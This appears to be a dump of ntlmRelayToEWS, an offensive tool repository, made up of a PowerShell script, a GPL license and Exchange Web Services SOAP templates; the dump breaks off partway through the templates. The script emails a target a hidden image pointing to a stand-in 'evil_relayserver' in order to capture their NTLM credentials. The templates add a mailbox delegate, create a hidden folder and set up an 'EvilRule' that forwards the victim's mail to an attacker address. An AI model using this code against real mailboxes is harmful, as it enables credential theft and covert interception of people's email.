├── .gitattributes ├── Invoke-SendEmail.ps1 ├── LICENSE ├── SOAPRequestTemplates ├── addDelegate.tpl ├── createHiddenFolder.tpl ├── forwardRule.tpl ├── getFolderID.tpl ├── getItem.tpl ├── listFolder.tpl ├── resolveEmailAddr.tpl ├── sendMail.tpl └── setHomePage.tpl ├── lib ├── __init__.py ├── __init__.pyc ├── config.py ├── config.pyc ├── helper.py ├── helper.pyc ├── httprelayclient.py ├── httprelayclient.pyc ├── httprelayserver.py ├── httprelayserver.pyc ├── logger.py ├── logger.pyc ├── smbrelayserver.py ├── smbrelayserver.pyc ├── targetsutils.py └── targetsutils.pyc ├── ntlmRelayToEWS.py ├── readme.md └── sampleMsg.html /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto -------------------------------------------------------------------------------- /Invoke-SendEmail.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-SendEmail { 2 | <# 3 | .SYNOPSIS 4 | Function: Invoke-SendMail 5 | Author: Arno0x0x, Twitter: @Arno0x0x 6 | 7 | This script sends an email to a targeted user embedding a hidden image pointing to the ntlmRelayToEWS server. 8 | You can use this trick to receive NTLM credentials from the target. 9 | 10 | Beware that the Outlook.Application COM object seems to only works with 32bits version of PowerShell, so use: 11 | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 12 | 13 | .EXAMPLE 14 | # Example of using this function 15 | PS C:> Invoke-SendEmail -Address "user@corporate.com" ` 16 | -Subject "Important" -Message "Hi,

Could you please check something for me ?

Give me a sign

" ` 17 | -RelayServerURL "http://evil_relayserver/signature.html" 18 | #> 19 | 20 | [cmdletbinding()] 21 | Param ( 22 | [Parameter(Mandatory=$True)] 23 | [String]$Address, 24 | 25 | [Parameter(Mandatory=$True)] 26 | [String]$Subject, 27 | 28 | [Parameter(Mandatory=$True)] 29 | [String]$Message, 30 | 31 | [Parameter(Mandatory=$True)] 32 | [String]$RelayServerURL 33 | ) 34 | 35 | Process { 36 | # Create an instance Microsoft Outlook 37 | $Outlook = New-Object -ComObject Outlook.Application 38 | $Mail = $Outlook.CreateItem(0) 39 | $Mail.To = "$Address" 40 | $Mail.Subject = $Subject 41 | #$Mail.Body = $Body 42 | $Mail.HTMLBody = "" + $Message + "

-

" 43 | # $File = "D:\CP\timetable.pdf" 44 | # $Mail.Attachments.Add($File) 45 | $Mail.Send() 46 | } # End of Process section 47 | End { 48 | # Section to prevent error message in Outlook 49 | # $Outlook.Quit() 50 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) 51 | $Outlook = $null 52 | } 53 | } 54 | 55 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) 2017 {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | NtlmRelayToEWS Copyright (C) 2017 Arno0x 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . -------------------------------------------------------------------------------- /SOAPRequestTemplates/addDelegate.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | ${TargetAddress} 10 | 11 | 12 | 13 | 14 | ${DelegateAddress} 15 | 16 | 17 | None 18 | None 19 | Editor 20 | None 21 | None 22 | None 23 | 24 | false 25 | false 26 | 27 | 28 | DelegatesAndSendInformationToMe 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /SOAPRequestTemplates/createHiddenFolder.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | IPF.Note 14 | microsoft 15 | 16 | 17 | true 18 | 19 | 20 | 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /SOAPRequestTemplates/forwardRule.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | true 9 | 10 | 11 | 12 | EvilRule 13 | 1 14 | true 15 | 16 | true 17 | 18 | 19 | 20 | 21 | 22 | ${DestAddress} 23 | ${DestAddress} 24 | SMTP 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /SOAPRequestTemplates/getFolderID.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | AllProperties 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /SOAPRequestTemplates/getItem.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | IdOnly 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /SOAPRequestTemplates/listFolder.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 